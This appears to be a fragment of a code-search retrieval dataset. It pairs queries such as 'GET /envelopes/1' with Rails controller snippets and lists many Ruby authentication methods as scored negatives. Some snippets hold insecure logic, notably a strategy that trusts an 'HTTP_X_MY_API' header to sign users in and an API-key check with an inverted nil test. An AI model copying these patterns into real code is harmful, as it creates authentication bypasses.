"def authenticate\n\n redirect_to_login if current_user.nil?\n \n end",
"def authenticate\n# byebug\n return true if public_action?\n if request.format.json?\n authenticate_token || render_json_unauthorized\n else\n authenticate_user!\n end\n end",
"def authenticate_signin\n\t Client.authenticate(params[:email], params[:password]) || render_unauthorized\n\t end",
"def authenticate\n # Note: testing depends on the fact that 'authenticated' means having the \n # session['uid'] and session['timeout'] set appropriately. Make sure to \n # change AuthenticatedControllerTest if this is changed.\n if !session_expired? && logged_in?\n refresh_timeout # renew timeout for this session\n @current_user = current_user\n else\n # cleanup expired session stuff\n clear_session\n cookies.delete :auth_token\n reset_session\n \n session[:redirect_uri] = request.request_uri # save current uri\n \n # figure out how we want to explain this to users\n if session_expired?\n flash[:login_notice] = I18n.t(\"session_expired\")\n else\n flash[:login_notice] = I18n.t(\"please_log_in\")\n end\n redirect_to :controller => 'main', :action => 'login'\n end\n end",
"def after_token_authentication\n if params[:authentication_key].present?\n @user = User.find_by_authentication_token(params[:authentication_key]) # we are finding \n sign_in @user if @user # we are siging in user if it exist. sign_in is devise method \n if @user == nil\n\trender :status=>400, :json=>{:message=>\"Invalid token.\"}\n end\n end\n end",
"def authenticate!\n if current_identity\n true\n else\n respond_to do |format|\n format.html do\n store_location\n redirect_to main_app.new_session_path\n end\n format.json do\n render status: 403, nothing: true\n end\n end\n end\n end",
"def authenticate\n \n authenticate_token || render_unauthorized\n end",
"def login_required\n return true unless protect?(action_name)\n\n user = session_user\n return true if user && authorize?(user)\n\n # store current location so that we can\n # come back after the user logged in\n store_location\n\n # call overwriteable reaction to unauthorized access\n access_denied\n false\n end",
"def authenticate_user\n if session[:user]\n return true\n else\n redirect_to :controller => 'app', :action => 'messageUserLogin', :token => \"login\"\n return\n end\n end",
"def authenticate_user\n\t\trender_unauthorized unless current_user\n\tend",
"def authenticate\n authenticate_token || render_unauthorized\n end",
"def authenticate\n unauthorized unless current_user\n end",
"def authenticate_user\n\t if session[:user_id]\n\t # set current user object to @current_user object variable\n\t @current_user = User.find session[:user_id] \n\t return true\t\n\t else\n\t redirect_to(:controller => 'sessions', :action => 'login')\n\t return false\n\t end\n\tend",
"def login_required\n \n if not protect?(action_name)\n return true \n end\n\n if @session['user'] and authorize?(@session['user'])\n return true\n end\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n \n # call overwriteable reaction to unauthorized access\n access_denied\n return false \n end",
"def authenticate\n if @current_user\n else\n redirect_to login_url\n end\n end",
"def authorize\n redirect_to new_session_path unless current_user #call method curent_user in sessions_helper\n end",
"def authenticate\n unless User.find_by_id(session[:current_user_id]) ||\n (Auditor.find_by_id(session[:current_auditor_id]))\n redirect_to ({:controller => :login, :action => :session_timeout})\n end\n end",
"def authenticate\n if session[:login] == true\n true\n else\n flash[:warning] = 'Please Log In !'\n redirect_to action: 'index'\n end\n end",
"def user_authentication\n end",
"def login_required\n if session[:user]\n begin\n load_session_user\n rescue\n logout_and_redirect_to_login\n else\n return session[:user]\n end\n else\n self.store_location\n redirect_to users_login_url, :alert => \"You don't have access to that, please login.\"\n end\n end",
"def authenticate!\r\n\tif !current_user\r\n\t\tredirect \"/login\"\r\n\tend\r\nend",
"def authenticate_or_token\n @@host = request.host_with_port\n return if params[:action].index('login') || params[:controller] == 'accesses'\n authenticate_user! if params[:controller].index('api').nil?\n @current_user = current_user if @current_user.nil?\n end",
"def authenticate_with_api_key!\n if @current_user.nil? && !request.headers['Authorization'].nil?\n @current_user = authenticate_or_request_with_http_token(&method(:authenticator))\n end\n end",
"def authenticate_user\n \tif !logged_in?\n \tredirect_to login_url\n \tend\n end",
"def authenticate\n return true if public_action?\n if request.format.json?\n render_json_unauthorized unless authenticate_token\n else\n authenticate_user!\n end\n end",
"def authenticate_using_session\n return if current_user\n session_uid = session[:authpwn_suid]\n user = session_uid && Tokens::SessionUid.authenticate(session_uid)\n self.current_user = user if user && !user.instance_of?(Symbol)\n end",
"def authenticate\n if session[:account].blank?\n @is_login = false\n reset_session\n render \"login/error\"\n else\n @is_login = true\n @user = User.where( \"account = ?\", session[:account] )[0]\n end\n end",
"def authenticate_login\n if session[:user].nil? #There's definitely no user logged in\n flash[:notice] = \"<div class=\\\"flash_failure\\\"> You are not logged in!</div>\"\n redirect_to :action => \"login\", :controller => \"../browse\"\n else #there's a user logged in, but what type is he?\n @user = User.find(session[:user][:id]) # make sure user is in db, make sure they're not spoofing a session id\n if @user.nil?\n flash[:notice] = \"<div class=\\\"flash_failure\\\"> You are not logged in!</div>\"\n redirect_to :action => \"login\", :controller => \"../browse\"\n else\n #session passed too!\n end\n end\n end",
"def authenticate_user!(*args)\n if request.get? && !logged_in?\n session[:return_to] = request.fullpath\n session[:return_to_for_new_user] = request.fullpath\n end\n super\n end",
"def authenticate_request!\n\t\t# unless is if in reverse. If user_id_in_token == false then render error\n\t unless user_id_in_token?\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\t return\n\t end\n\t @current_user = User.find(auth_token[:user_id])\n\trescue JWT::VerificationError, JWT::DecodeError\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\tend",
"def login_check\n if session[:user_id].present?\n unless (controller_name == \"user\") and [\"first_login_change_password\",\"login\",\"logout\",\"forgot_password\"].include? action_name\n user = User.active.find(session[:user_id])\n \n \n end\n end\n end",
"def hubssolib_beforehand\n\n # Does this action require a logged in user?\n\n if (self.class.respond_to? :hubssolib_permissions)\n login_is_required = !self.class.hubssolib_permissions.permitted?('', action_name)\n else\n login_is_required = false\n end\n\n # If we require login but we're logged out, redirect to Hub login.\n\n logged_in = hubssolib_logged_in?\n\n if (login_is_required and logged_in == false)\n hubssolib_store_location\n return hubssolib_must_login\n end\n\n # If we reach here the user is either logged, or the method does\n # not require them to be. In the latter case, if we're not logged\n # in there is no more work to do - exit early.\n\n return true unless logged_in # true -> let action processing continue\n\n # So we reach here knowing we're logged in, but the action may or\n # may not require authorisation.\n\n unless (login_is_required)\n\n # We have to update session expiry even for actions that don't\n # need us to be logged in, since we *are* logged in and need to\n # maintain that state. If, though, the session expires, we just\n # quietly log out and let action processing carry on.\n\n if (hubssolib_session_expired?)\n hubssolib_log_out\n hubssolib_set_flash(:attention, 'Your session timed out, so you are no longer logged in.')\n else\n hubssolib_set_last_used(Time.now.utc)\n end\n\n return true # true -> let action processing continue\n\n else\n\n # Login *is* required for this action. If the session expires,\n # redirect to Hub's login page via its expiry action. Otherwise\n # check authorisation and allow action processing to continue\n # if OK, else indicate that access is denied.\n\n if (hubssolib_session_expired?)\n hubssolib_store_location\n hubssolib_log_out\n hubssolib_set_flash(:attention, 'Sorry, your session timed out; you need to log in again to continue.')\n\n # We mean this: redirect_to :controller => 'account', :action => 'login'\n # ...except for the Hub, rather than the current application (whatever\n # it may be).\n redirect_to HUB_PATH_PREFIX + '/account/login'\n else\n hubssolib_set_last_used(Time.now.utc)\n return hubssolib_authorized? ? true : hubssolib_access_denied\n end\n\n end\n end",
"def authenticate_user!\n store_location and raise NotLoggedIn unless logged_in?\n end",
"def authenticate_user\n unauthorized unless current_user\n end",
"def authenticate_user!\n \tunless current_user?\n \trender status: :unauthorized\n \tend\n end",
"def authenticate\n redirect_to :login unless user_signed_in?\n end",
"def authenticate_user\n unless logged_in?\n store_location\n redirect_to new_session_url\n flash[:info] = \"You must be authenticated to perform this action.\"\n end\n end",
"def authenticate\n begin\n if !session[:user_guid]\n redirect_to(root_path)\n elsif session[:user_guid] != User.find_by(id: session[:user_id].to_i).guid\n redirect_to(logout_user_path)\n end\n rescue\n redirect_to(logout_user_path)\n end\n end",
"def login_required\n not_authorized unless current_user\n end",
"def authenticate!\n unauthorized! unless current_user\n end",
"def authenticate_with_api_key\n if @current_user.nil? && request.headers['Authorization'].nil?\n @current_user = authenticate_with_http_token(&method(:authenticator))\n end\n end",
"def authenticate!\n unless current_user\n redirect \"/login\"\n end\nend",
"def authenticate!\n\tif !current_user\n\t\tredirect \"/login\"\n\tend\nend",
"def authenticate!\n\tif !current_user\n\t\tredirect \"/login\"\n\tend\nend",
"def authenticate!\n\tif !current_user\n\t\tredirect \"/login\"\n\tend\nend",
"def authenticate!\n\tif !current_user\n\t\tredirect \"/login\"\n\tend\nend",
"def authenticate_user\n @current_user = User.find_by_api_key(params[:api_key])\n end",
"def authenticate_api_key!\n return if current_auth_api_key.present?\n\n render nothing: true, status: :unauthorized\n end",
"def authenticate!\n redirect_to login_path unless current_user\n end",
"def require_login \n # puts \"#{@@count}\" \n # @@count+=1; \n if !(session[:user_id])\n # puts \"#{@@count} require_login method of application controller found no user logged in: \", session[:user_id]\n redirect_to '/main'\n # else\n # puts \"#{@@count} using require_login private method: Someone is already logged in: \", session[:user_id]\n # current_user = User.find(session[:user_id])\n #return current_user\n end\n end",
"def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end",
"def authenticate_user_from_token!\n key = params[:key].presence\n user = key && User.find_by_key(key)\n if user.nil?\n render :status=>401, :json=>{:status=>\"Failure\", :status_code => 401, :message=>\"Invalid Key.\"}\n return\n end\n # Notice how we use Devise.secure_compare to compare the token\n # in the database with the token given in the params, mitigating\n # timing attacks.\n if user && Devise.secure_compare(user.authentication_token, params[:authentication_token]) && user.authentication_token.present?\n sign_in user, store: true\n else\n render :status=>401, :json=>{:status=>\"Failure\", :status_code => 401, :message=>\"Invalid Authentication token.\"}\n return\n end\n end",
"def login_required\n return true unless protect?(action_name)\n\n return true if user? && authorize?(session[:user])\n\n # store current location so that we can\n # come back after the user logged in\n store_location\n\n # call overwriteable reaction to unauthorized access\n access_denied\n false\n end",
"def authenticate!\n\t\t\tunless signed_in? or params[:controller].include?\"devise\"\n\t\t\t\tflash[:notice] = \"You're not logged in!\"\n\t\t\t\tredirect_to :root\n\t\t\tend\n\t\tend",
"def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end",
"def callback_phase\n ym_session_id = env['rack.session'][RACK_SESSION_KEY]\n fail!(E_YM_SESSION_ID_BLANK) if ym_session_id.blank?\n ym_session = YourMembership::Session.new(ym_session_id, 100)\n\n begin\n fail! 'Failed To Log In' unless ym_session.authenticated?\n rescue YourMembership::Error => e\n fail! e.error_description\n end\n\n @user_id = ym_session.user_id\n @access_token = ym_session.to_s\n\n super\n end",
"def authenticate_user!\n # check for API/signed requests\n if request.headers.env[\"HTTP_AUTHORIZATION\"] || request.headers.env[\"Authorization\"] then\n agent = Agent.where(:access_key => ApiAuth.access_id(request)).first\n begin\n if not(agent and ApiAuth.authentic?(request, agent.secret_key)) then\n return render :text => Bixby::JsonResponse.new(\"fail\", \"authentication failed\", nil, 401).to_json, :status => 401\n end\n rescue ApiAuth::ApiAuthError => ex\n return render :text => Bixby::JsonResponse.new(\"fail\", ex.message, nil, 401).to_json, :status => 401\n end\n @current_user = agent # TODO hrm.. hack much?\n return false\n end\n\n # authenticate a request from a browser session\n super\n end",
"def authenticate_user!\n redirect_to '/auth/sweetsuite' unless access_token && current_user\n end",
"def authenticate\n # see if user is disabled\n if session[:authenticated] && !Member.find(:first, :conditions => [ 'id = ? and active = 1', session[:member_id]])\n session[:authenticated] = nil\n session[:member_id] = nil\n flash[:notice] = 'Your account has been disabled by an administrator.'\n redirect_to :controller => '/members/auth', :action => 'login' and return false\n end\n \n # if user is not logged in, record the current request and redirect\n if !session[:authenticated]\n flash[:notice] = defined?(UnauthenticatedMessage) ? UnauthenticatedMessage : 'To continue, please log in.'\n save_request\n redirect_to :controller => '/management/user', :action => 'login' and return false\n end\n \n return false unless (@member = Member.find_by_id(session[:member_id]))\n @member\n end",
"def authenticate!\n\n # mapping comes from devise base class, \"mapping.to\" is the class of the model\n # being used for authentication, typically the class \"User\". This is set by using\n # the `devise` class method in that model\n klass = mapping.to\n\n if request.headers['HTTP_X_MY_API'].present?\n # the returned user object will be saved and serialised into the session\n user = klass.find_or_initialize_by_email(request.headers['HTTP_X_MY_API'])\n success! user\n end\n\n # if we wanted to stop other strategies from authenticating the user\n end",
"def authentication\n if UserSession.find.nil?\n respond_to do |format|\n format.html { redirect_to(\"/login\", :notice => 'You must be logged in') }\n end\n end\n end",
"def authorize\n # finds the user by id that is in the session\n # assigns the to the instance variable current_user\n @current_user = User.find_by(id: session[:user_id])\n # unless the session includes :user_id, return an error.\n render json: { errors: [\"not authorized\"] }, status: :unauthorized unless @current_user\n end",
"def check_authenticated\n @logged_in = session[:logged_in]\n end",
"def login_required\n # Skip this filter if the requested action is not protected\n return true unless protect?(action_name)\n\n # Check if user is logged in and authorized\n return true if logged_in? and authorized?(current_user)\n\n # Store current location so that we can redirect back after login\n store_location\n\n # Call access_denied for an appropriate redirect and stop the filter\n # chain here\n access_denied and return false\n end",
"def authenticate\n if logged_in_user\n redirect_to root_url unless current_user?(find_user)\n end\n end",
"def authorize\n @logged_in_user = User.find(session[:user_id])\n rescue\n reset_session\n @logged_in_user = nil\n if User.find(:all).length > 0\n session[:jumpto] = request.parameters\n redirect_to :controller => 'authentication', :action => 'login' and return false\n else\n redirect_to :controller => 'authentication', :action => 'create_admin' and return false\n end\n end"
] |
[
"0.72938335",
"0.718559",
"0.71266204",
"0.7062437",
"0.7043023",
"0.7020977",
"0.7005062",
"0.69851834",
"0.6981905",
"0.6979767",
"0.69214153",
"0.6900031",
"0.6861073",
"0.68092376",
"0.6797532",
"0.67878693",
"0.6781582",
"0.67796206",
"0.6769922",
"0.67582226",
"0.6756069",
"0.6746368",
"0.67216974",
"0.6715401",
"0.6707388",
"0.6688701",
"0.6686021",
"0.6683718",
"0.6682625",
"0.6679187",
"0.6672866",
"0.66680694",
"0.66594356",
"0.66454464",
"0.66431016",
"0.66403174",
"0.660459",
"0.66043854",
"0.66004664",
"0.65994567",
"0.65949315",
"0.6593199",
"0.6587121",
"0.65864426",
"0.65851235",
"0.6581529",
"0.6581065",
"0.6578017",
"0.656787",
"0.6556425",
"0.6552249",
"0.65503484",
"0.65502053",
"0.6548029",
"0.6543939",
"0.65437514",
"0.6532815",
"0.6522565",
"0.651872",
"0.65182453",
"0.6515313",
"0.65085715",
"0.65026206",
"0.64993006",
"0.64870536",
"0.6481944",
"0.6480304",
"0.6479322",
"0.6474267",
"0.6470291",
"0.6455607",
"0.6450992",
"0.64450073",
"0.64417267",
"0.6436681",
"0.6436304",
"0.64348686",
"0.64348686",
"0.64348686",
"0.64348686",
"0.64342254",
"0.6433321",
"0.6422995",
"0.64205617",
"0.6413655",
"0.6413358",
"0.64098257",
"0.6406716",
"0.6403959",
"0.6388156",
"0.63810664",
"0.637974",
"0.63775146",
"0.63749516",
"0.6373648",
"0.637351",
"0.6373251",
"0.6371041",
"0.6368607",
"0.636758"
] |
0.65605086
|
49
|
GET /envelopes/1 GET /envelopes/1.xml
|
def show
@envelope = Envelope.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @envelope }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def envelope\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}\")\n end",
"def index\n @envelopes = Envelope.all\n end",
"def envelope\n get_meta(:envelope)\n end",
"def show\n @transactions = @envelope.transactions if @envelope.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @envelope }\n end\n end",
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @envelope }\n end\n end",
"def documents\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/documents\")[\"envelopeDocuments\"]\n end",
"def envelope_params\n params[:envelope]\n end",
"def set_envelope\n @envelope = Envelope.find(params[:id])\n end",
"def set_envelope\n @envelope = Envelope.find(params[:id])\n end",
"def destroy\n @envelope = Envelope.find(params[:id])\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to(envelopes_url) }\n format.xml { head :ok }\n end\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def get_status(envelope_id)\n\t\tresponse = DocuSignSignatory::HTTP.get(\"#{self.url}/#{envelope_id}\")\n\t\treturn DocuSignSignatory::Model::EnvelopeStatus.new(JSON.parse(response.body))\n\tend",
"def update\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n flash[:notice] = 'Envelope was successfully updated.'\n format.html { redirect_to(@envelope) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def on_envelope(envelope)\n pass envelope\n end",
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @envelope }\n end\n end",
"def create\n @envelope = Envelope.new(params[:envelope].merge({:account_id => Docusign::Config[:account_id]}))\n\n respond_to do |format|\n if @envelope.save\n flash[:notice] = 'Envelope was successfully created.'\n format.html { redirect_to(@envelope) }\n format.xml { render :xml => @envelope, :status => :created, :location => @envelope }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def create\n @envelope = Envelope.new(envelope_params)\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render :show, status: :created, location: @envelope }\n else\n format.html { render :new }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def envelopes(from_date, options = {})\n Docusigner::Envelope.find(:all, :params => options.reverse_merge({:account_id => id, :from_date => from_date}))\n end",
"def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end",
"def update\n respond_to do |format|\n if @envelope.update(envelope_params)\n format.html { redirect_to @envelope, notice: 'Envelope was successfully updated.' }\n format.json { render :show, status: :ok, location: @envelope }\n else\n format.html { render :edit }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @envelope = Envelope.new(params[:envelope])\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render json: @envelope, status: :created, location: @envelope }\n else\n format.html { render action: \"new\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def recipients\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/recipients\")\n end",
"def envelope(data)\n return data if options[:envelope].blank?\n { options[:envelope].to_s => data }\n end",
"def update\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n format.html { redirect_to @envelope, notice: 'Envelope was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @envelope.destroy\n respond_to do |format|\n format.html { redirect_to envelopes_url, notice: 'Envelope was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def configure_envelopes_api\n access_token = ENV['DOCUSIGN_ACCESS_TOKEN_TEMP']\n #Client API Config\n base_path = 'http://demo.docusign.net/restapi'\n configuration = DocuSign_eSign::Configuration.new\n configuration.host = base_path\n api_client = DocuSign_eSign::ApiClient.new(configuration)\n api_client.default_headers[\"Authorization\"] = \"Bearer \" + access_token\n envelopes_api = DocuSign_eSign::EnvelopesApi.new(api_client)\n end",
"def index\n @envelope_class = %w(full_width home)\n end",
"def document(document_id)\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/documents/#{document_id}\")\n end",
"def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end",
"def index\n @invitations = @event.invitations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end",
"def index\n @exposures = Exposure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @exposures }\n end\n end",
"def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end",
"def agreement_documents(agreement_id, recipient_email, format, version_id=nil)\n result = Echochamber::Request.agreement_documents(token, agreement_id, recipient_email, format, version_id)\n end",
"def index\n @certs = Cert.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @certs }\n end\n end",
"def show\n @exchange = Exchange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exchange }\n end\n end",
"def index\n @recipients = @user.recipients\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @recipients }\n end\n end",
"def test_xpath_free\n doc = LibXML::XML::Document.file(File.join(File.dirname(__FILE__), 'model/soap.xml'))\n nodes = doc.find('//*')\n GC.start\n assert_equal('Envelope', nodes.first.name)\n end",
"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end",
"def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end",
"def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend",
"def index\n @semi_product_exchanges = SemiProductExchange.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @semi_product_exchanges }\n end\n end",
"def envelope_params\n params.require(:envelope).permit(:name)\n end",
"def envelope\n raise Error::UnsupportedOperation, \"Method Geometry#envelope not defined.\"\n end",
"def index\n @subscribers = Subscriber.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscribers }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @newsletter_edition }\n end\n end",
"def getXMLTicket(path)\n resp2 = @@conn.get do |req|\n req.url path\n req.headers['Authorization'] = 'Basic aHIuc2VsbGVydEBnbWFpbC5jb206c2VzMTEy' #@TODO make this a param\n req.headers['Content-Type'] = 'application/xml'\n end\n # puts \"Responce : \" + resp2['body'].inspect\n # puts \"Responce2 : \" + resp2.body.to_s()\n \n return resp2.body.to_s()\n end",
"def index\n @inbound_emails = InboundEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inbound_emails }\n end\n end",
"def _api_call(method, args)\r\n uri = _uri(method, args)\r\n response = XmlSimple.xml_in(_http_get(uri))\r\n end",
"def index\n @emails = JSON[access_token.get(\"/api/v1/emails\").body]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @emails }\n end\n end",
"def index\n @solicitudes = Solicitud.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @solicitudes }\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def to_envelope\n \"ENVELOPE(#{west}, #{east}, #{north}, #{south})\"\n end",
"def index\n @product_exchanges = ProductExchange.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_exchanges }\n end\n end",
"def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concert }\n end\n end",
"def index\n @participant_contact_emails = Participant::Contact::Email.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participant_contact_emails }\n end\n end",
"def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end",
"def index\n @conversations = Conversation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @conversations }\n end\n end",
"def show\n @inbound_email = InboundEmail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inbound_email }\n end\n end",
"def index\n @material_exchanges = MaterialExchange.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @material_exchanges }\n end\n end",
"def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end",
"def show\n @views_email = ViewsEmail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @views_email }\n end\n end",
"def ems\n GatewayMessage.store( params[:xml] )\n render :text => 'OK'\n end",
"def index\n @correspondences = Correspondence.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @correspondences }\n end\n end",
"def document_details(guid)\n get \"/api/documents/#{guid}.xml\"\n end",
"def index\n @call_boxes = CallBox.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @call_boxes }\n end\n end",
"def show\n @exchange = Exchange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exchange }\n format.json { render :layout => false, :json => @exchange.to_json }\n end\n end",
"def path\n \"/onca/xml\"\n end",
"def show\n @oa_sent_document = Oa::SentDocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oa_sent_document }\n end\n end",
"def index\n @passages = Passage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @passages }\n end\n end",
"def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end",
"def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end",
"def get_recipients(envelope_id)\n\t\tresponse = DocuSignSignatory::HTTP.get(\"#{self.url}/#{envelope_id}/recipients\")\n\t\treturn JSON.parse(response.body)\n\tend",
"def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end",
"def index\n @documentos = @externo.documentos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"def index\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sms }\n end\n end",
"def _retrieve(options={})\n request :retrieve do |soap|\n soap.body = { :retrieve_request => options }\n end\n end",
"def service_document\n response = get(@url.to_s)\n response.body\n end",
"def index\n\n @soaps = Soap.find(:all)\n @user = User.find(:first)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @purchase }\n end\n end",
"def index\n @talks = @venue.talks\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @talks }\n format.json { render :json => @talks }\n end\n end",
"def show\n @solicitation = Solicitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @solicitation }\n end\n end",
"def index\n @standards = Standard.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @standards }\n end\n end",
"def index\n @attendees = Attendee.paginate(:page => params[:page], :per_page => 40)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attendees }\n end\n end",
"def index\n @fax_documents = FaxDocument.accessible_by( current_ability, :index ).all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fax_documents }\n end\n end",
"def show\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @docent }\n end\n end",
"def show\n @email = Email.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @email }\n end\n end",
"def index\n @inbound_email_logs = InboundEmailLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inbound_email_logs }\n end\n end",
